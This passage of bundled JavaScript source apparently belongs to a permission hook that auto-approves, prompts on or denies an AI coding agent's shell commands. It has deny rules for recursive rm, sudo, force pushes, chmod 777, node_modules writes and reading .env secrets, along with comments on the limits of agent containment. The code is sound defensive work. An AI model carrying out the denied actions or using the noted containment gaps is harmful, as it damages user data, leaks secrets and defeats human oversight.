in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) -- this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec -- the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny -- the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** `git tag` read-only flags taking no argument. */\nconst GIT_TAG_READ_FLAGS_NOARG = /* @__PURE__ */ new Set([\n \"-l\",\n \"--list\",\n \"-i\",\n \"--ignore-case\",\n \"--column\",\n \"--omit-empty\"\n]);\n/** `git tag` read-only flags taking one argument, as `--flag value` or `--flag=value`. */\nconst GIT_TAG_READ_FLAGS_VALUE = /* @__PURE__ */ new Set([\n \"--contains\",\n \"--no-contains\",\n \"--points-at\",\n \"--merged\",\n \"--no-merged\",\n \"--sort\",\n \"--format\"\n]);\n/**\n* `git tag` in a listing spelling. A positional argument is a tag name (a\n* write) unless a list flag is present, in which case it is a match pattern.\n* Bare `git tag` has no positional at all and lists.\n*\n* `-n<num>` here means \"print this many annotation lines\" -- on `clean` the\n* same letter is the dry run, which is why the two subcommands do not share a\n* flag table.\n*/\nfunction isGitTagListing(after) {\n let hasListFlag = false;\n let positionals = 0;\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (!t.startsWith(\"-\")) {\n positionals++;\n continue;\n }\n if (t === \"-l\" || t === \"--list\") {\n hasListFlag = true;\n continue;\n }\n if (GIT_TAG_READ_FLAGS_NOARG.has(t)) continue;\n if (/^-n\\d*$/.test(t)) continue;\n const eq = t.indexOf(\"=\");\n if (eq > 0 && GIT_TAG_READ_FLAGS_VALUE.has(t.slice(0, eq))) continue;\n if (GIT_TAG_READ_FLAGS_VALUE.has(t)) {\n i++;\n continue;\n }\n return false;\n }\n return positionals === 0 || hasListFlag;\n}\n/**\n* `git clean` in a dry run. Requires `-f` to be absent rather than deciding\n* which flag wins when both are given -- that precedence is a git-version\n* behavior this hook would otherwise have to pin.\n*/\nfunction isGitCleanDryRun(after) {\n let dryRun = false;\n for (const t of after) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (t === \"--force\") return false;\n if (t === \"--dry-run\") dryRun = true;\n continue;\n }\n if (t.slice(1).includes(\"f\")) return false;\n if (t.slice(1).includes(\"n\")) dryRun = true;\n }\n return dryRun;\n}\n/**\n* Read-only spellings of subcommands whose writes are correctly denied. The\n* deny keys on the verb, so without this `git tag -l`, `git clean -n` and\n* `git <sub> --help` inherit the tier of `git tag v1.2.3`.\n*\n* An allowlist, not a denylist: an unrecognized flag returns false and keeps\n* today's deny, so a spelling missed here costs a prompt rather than an\n* unintended write.\n*/\nfunction isGitReadOnlyForm(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (after[0] === \"--help\") return true;\n if (sub === \"tag\") return isGitTagListing(after);\n if (sub === \"clean\") return isGitCleanDryRun(after);\n return false;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"lint:types\",\n \"lint:report\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"ascii:check\",\n \"docs:check\",\n \"docs:delink\",\n \"docs:relocate\",\n \"docs:retire\",\n \"pr:create\",\n \"pr:update\",\n \"pr:checks\",\n \"pr:list\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* `pr:create`/`pr:update` are safe because an update PATCHes only the fields it was given and\n* refuses to drop a closing keyword the PR's body already carries. `--allow-unlink` is the one\n* flag that turns that refusal off, and what it permits -- an issue silently staying open after\n* its PR merges -- is the exact failure this whole command pair was split apart to prevent, and\n* one no PR review catches (the diff looks fine; the link is just gone). A guard an agent can\n* step over unattended is not a guard, so passing it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is -- fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = {\n \"issue:download\": [\"--force\"],\n \"pr:create\": [\"--allow-unlink\"],\n \"pr:update\": [\"--allow-unlink\"]\n};\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\n/**\n* Safe under `bst-agent` only. Both are read-only, and both were safe under `bst` before the\n* daemon moved to its own package -- transcripts and repair candidates only exist where the\n* daemon runs, so the published CLI has no such command to classify.\n*\n* `agent:daemon` is deliberately absent: it spawns containers and holds two credentials, so it\n* prompts. `bst-agent` is a workspace-linked bin of a private package, the same trust shape as\n* `bst` (a name pnpm resolves, not a filesystem path an agent can manufacture), so it inherits\n* `BST_SAFE_SUBCOMMANDS` and `BST_UNSAFE_FLAGS` unchanged.\n*/\nconst BST_AGENT_ONLY_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\"agent:repair-candidates\", \"agent:transcript\"]);\nfunction isBstSafe(tokens, extraSafe) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub) && !extraSafe?.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (-> passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-discard-changes\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitDiscardChanges(tokens),\n reason: \"`-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\"\n },\n {\n name: \"git-bare-checkout\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitBareCheckout(tokens) && !isGitCheckoutPathRestore(tokens),\n reason: \"Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\"\n },\n {\n name: \"git-protected-branch-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchWrite(tokens, ctx),\n reason: \"Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\"\n },\n {\n name: \"git-protected-branch-force-create\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitProtectedBranchForceCreate(tokens, ctx),\n reason: \"Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx) && !isGitUnrecognizedBranchFlag(tokens) && !isGitWorktreeMoveOrRemove(tokens) && !isGitCheckoutPathRestore(tokens) && !isGitReadOnlyForm(tokens),\n reason: \"This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"bst-agent\",\n match: /^bst-agent$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens, BST_AGENT_ONLY_SAFE_SUBCOMMANDS)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: /^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-read-only-form\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOnlyForm(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx),\n advise: (tokens, ctx) => isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* 